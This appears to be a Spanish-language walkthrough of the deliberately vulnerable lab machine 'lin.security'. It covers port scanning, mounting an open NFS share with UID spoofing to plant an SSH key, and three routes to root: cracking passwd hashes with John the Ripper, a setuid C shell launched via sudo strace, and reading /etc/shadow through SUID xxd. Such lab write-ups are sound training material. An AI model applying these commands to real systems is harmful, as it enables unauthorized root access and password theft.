<<<Machine lin_security>>>

Information gathering

1. nmap -sV -sC 192.168.0.22

```
PORT     STATE SERVICE VERSION

22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)
|   256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)
|_  256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)

111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      48691/udp6  mountd
|   100005  1,2,3      49183/tcp   mountd
|   100005  1,2,3      53215/tcp6  mountd
|   100005  1,2,3      56557/udp   mountd
|   100021  1,3,4      40463/tcp6  nlockmgr
|   100021  1,3,4      44813/tcp   nlockmgr
|   100021  1,3,4      56354/udp   nlockmgr
|   100021  1,3,4      58825/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl

2049/tcp open  nfs_acl 3 (RPC #100227)
```

Analisis de vulnerabilidades

1. Voy a nessus a realizar un escaner y luego, veo que tiene una vulnerabilidad y es esta:

Critical -> NFS Exported Share Information Disclosure

- Description:
At least one of the NFS shares exported by the remote server could be mounted by the scanning host. An attacker may be able to leverage this to read (and possibly write) files on remote host.

- Solution:
Configure NFS on the remote host so that only authorized hosts can mount its remote shares.

Medium -> NFS Shares World Readable

- Description:
The remote NFS server is exporting one or more shares without restricting access (based on hostname, IP, or IP range).

- Solution:
Place the appropriate restrictions on all NFS shares.

- Output:

    The following shares have no access restrictions :

      /home/peter *

Exploiting

1. primero investigo algunos comandos de nfs y encuentro esto:

showmount [-ade] [host]

-a
Imprime una lista de todos los montajes remotos. Cada entrada incluye el nombre de cliente y el directorio.

-d
Imprime una lista de los directorios montados de forma remota por los clientes.

-e
Imprime una lista de los archivos compartidos o exportados.

2. entonces pruebo con cada uno pero

con la opcion -a sale esto -> “All mount points on 192.168.0.22:”
con la opcion -d sale esto -> “Directories on 192.168.0.22:”
con la opcion -e sale esto ->

“”"
Export list for 192.168.0.22:
/home/peter *
“”"

3. luego voy a montar ese directorio de esta manera:

mount -t nfs 192.168.0.22:/home/peter linsec -o nolock

4. pero antes en la carpeta de “/home” creamos una carpeta de nombre linsec

5. Luego le cambio el UID a mi usuario mrandrew por el UID 1001, esto es con el fin de que investigue en google y el UID de la maquina victima tiene que ser igual al usuario que tengo en mi maquina para asì las llaves ssh tengan compatibilidad y para saber el UID de la maquina victima es con:

“”"
stat linsec
“”"

6. Para cambia el UID es asì:

usermod -u 1001 mrandrew

7. Una vez cambiado el UID ingreso a mi usuario mrandrew y creo una llave ssh asì:

ssh-keygen -t rsa -b 2048

8. luego entro a la carpeta “/root/linsec” y creo una carpeta de nombre “.ssh”
9. Ahora solo me queda copiar esa clave ssh que cree en un archivo dentro de la carpeta “.ssh” de “linsec” de esta manera:

mrandrew@kali:/root/linsec/.ssh$ cp /home/mrandrew/.ssh/id_rsa.pub authorized_keys

10. una vez copiado el archivo dentro de la ruta:

mrandrew@kali:/root/linsec/.ssh$

11. podemos ingresar a por medio de ssh con el usuario peter así:

ssh peter@192.168.0.22

12. luego ejecuto “sudo /bin/bash” pero no funciono

13. Entonces lo que hago es coger todo el contenido de “etc/passwd” y lo guardo en un archivo de mi maquina kali, ya que hay un usuario que se llama “linsecurity” que tiene un UID y GUID como usuario "root"
14. Luego con “Jhon de ripper” vamos a intentar decifrar la contresa de algun usuario y es asì:

john --wordlist=/root/rockyou.txt hashlinsec

15. Como resultado sale que el usuario “linsecurity” tiene la password “P@ssw0rd”
16. Entonces en la sesion “ssh” ingreso un “su security” coloco la contraseña que obtuve y listo ya

soy “root”

--- Segunda forma de crackear el Hash -------------------------------

```
john --format=crypt --show linsec.txt
john --format=crypt --show linsec
```

- el archivo linsec o linsec.txt contiene todo el contenido de “etc/passwd”
- el resultado seria este:

```
insecurity:P@ssw0rd:0:0::/:/bin/sh

1 password hash cracked, 0 left
```

--- Segunda forma de elevar privilegios ---------------------------------------

1. El usuario “peter” puede ejecutar “/usr/bin/strace”, y sirve para
2. Con eso podemos escribir un script para levantar privilegios y es con lenguaje C que se llame por ejemplo “root.c”, asì:

```
#include <stdlib.h>
#include <unistd.h>

int main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
}
```

3. Luego lo debemos de compilar de esta manera:

```
gcc root.c -o root.out
```

5. Ahora para ejecutarlo es de esta manera:

```
sudo strace ./root.out 2>/dev/null
```

6. Ya con esto ingresamos como root

-- Tercera forma de elevar privilegios ---------------------------------------

1. otra forma es colocar esto:

```
find / -type f -user root -perm /u+s -ls 2>/dev/null | grep -v snap
```

2. si sale esto:

```
-rwsr-x--- root itservices /usr/bin/xxd
```

3. podemos estonces ejecutar esto:

```
xxd -p /etc/shadow | xxd -p -r
```

4. lo anterior nos permite ver los hashes de “shadow”
5. Solo quedaria decifrarlos con “john the ripper” asì:

```
john --format=crypt --show hashes.txt
```

Investigation

https://nvd.nist.gov/vuln/detail/CVE-1999-0170

https://nvd.nist.gov/vuln/detail/CVE-1999-0211

https://nvd.nist.gov/vuln/detail/CVE-1999-0554

https://www.google.com/search?client=firefox-b-e&ei=nomnXvijNqHv_Qb1qBw&q=rpcbind+exploit&oq=rpcbind+exploit&gs_lcp=CgZwc3ktYWIQAzICCAAyBggAEBYQHjIGCAAQF
AogBmguSAQcwLjguMC4xmAEAoAEBqgEHZ3dzLXdpeg&sclient=psy-ab&ved=0ahUKEwj46rLd_onpAhWhd98KHXUUBwAQ4dUDCAs&uact=5

https://www.google.com/search?client=firefox-b-e&q=que+es+nfs

https://www.youtube.com/watch?v=Q-v3JifGo4U

https://blog.christophetd.fr/write-up-vulnix/

https://docs.oracle.com/cd/E24842_01/html/E22524/rfsrefer-13.html

https://docs.oracle.com/cd/E56339_01/html/E53865/gnilj.html

http://fraterneo.blogspot.com/2014/06/permitir-nfs-a-traves-de-iptables.html

https://vuldb.com/es/?id.2949

https://www.google.com/search?client=firefox-b-e&q=que+es+rpcbind

https://www.linuxito.com/nix/591-como-se-relacionan-nfsd-nfsuserd-mountd-y-rpcbind

http://linux.dokry.com/qu-hace-exactamente-rpcbind.html

https://laseguridad.online/questions/7218/riesgo-de-seguridad-de-abrir-el-puerto-111-rpcbind

https://linux.die.net/man/8/rpcbind

https://www.ediciones-eni.com/open/mediabook.aspx?idR=2526abba8f17ae4bfa14e90e3e445a00

https://codingornot.com/que-es-rpc-llamada-a-procedimiento-remoto

http://fullyautolinux.blogspot.com/2015/11/nfs-norootsquash-and-suid-basic-nfs.html

https://resources.infosecinstitute.com/exploiting-nfs-share/#gref

Glosario

1. Nfs: El sistema de archivos de red (Network File System, NFS) es una aplicación cliente/servidor que permite a un usuario de equipo ver y, opcionalmente, almacenar y actualizar archivos en un equipo remoto como si estuvieran en el propio equipo del usuario. El protocolo NFS es uno de varios estándares de sistema de archivos distribuidos para almacenamiento atado a la red (NAS).

NFS permite al usuario o administrador del sistema montar (designar como accesible) todo o una porción de un sistema de archivos en un servidor. La parte del sistema de archivos que se monta puede ser accedida por los clientes con los privilegios que se asignan a cada archivo (de sólo lectura o de lectura y escritura). NFS utiliza llamadas de procedimiento remoto (RPC) para enrutar solicitudes entre clientes y servidores.

NFS fue originalmente desarrollado por Sun Microsystems en la década de 1980 y ahora es administrado por el Internet Engineering Task Force (IETF). La versión NFSv4.1 (RFC-5661) fue ratificada en enero de 2010 para mejorar la escalabilidad, añadiendo soporte para el acceso paralelo a través de servidores distribuidos. Las versiones 2 y 3 del sistema de archivos de red permiten que el protocolo UDP (User Datagram Protocol) que se ejecuta sobre una red IP proporcione conexiones de red sin estado entre clientes y servidor, pero NFSv4 requiere el uso del protocolo de control de transmisión (TCP).

2. rpcbind: se usa para enumerar servicios activos y para indicar al cliente solicitante a dónde enviar la solicitud RPC. Si un host escucha en el puerto 111, se puede usar rpcinfo para obtener la ejecución de los números de programa, puertos y servicios y para su uso de buscar informacion es asì:

```
$ rpcinfo -p x.x.x.x
```

3. mostrar la informacion de rpcbind Si expone este servicio a Internet, todos pueden consultar esta información sin tener que autenticarse. Puede ser útil para los atacantes saber qué está ejecutando.

Además, el servicio RPC tiene un historial de vulnerabilidades de seguridad. Así que no lo expongas al mundo a menos que tengas que hacerlo.

4. RPC: Llamada a procedimiento remoto o RPC por sus siglas en inglés (Remote Procedure Call) es una técnica que utiliza el modelo cliente-servidor para ejecutar tareas en un proceso diferente como podría ser en una computadora remota. A veces solamente se le llama como llamada a una función o subrutina remota.

Ejemplo explotacion maquina "Vulnix"

https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb

https://blog.christophetd.fr/write-up-vulnix/

Explotacion de NSF:

https://www.youtube.com/watch?v=ObmGG-RO9yg

Explotacion lin.security:

https://hackso.me/lin.security-1-walkthrough/

https://wjmccann.github.io/blog/2018/08/14/LinSecurity-Walkthrough

Uso de /usr/bin/strace

https://www.it-swarm.dev/es/linux/como-se-debe-usar-strace/958381454/

https://blog.cpanel.com/starting-with-strace/

https://www.redpill-linpro.com/sysadvent/2015/12/10/introduction-to-strace.html

https://stackoverflow.com/questions/174942/how-should-strace-be-used

https://www.thegeekstuff.com/2011/11/strace-examples/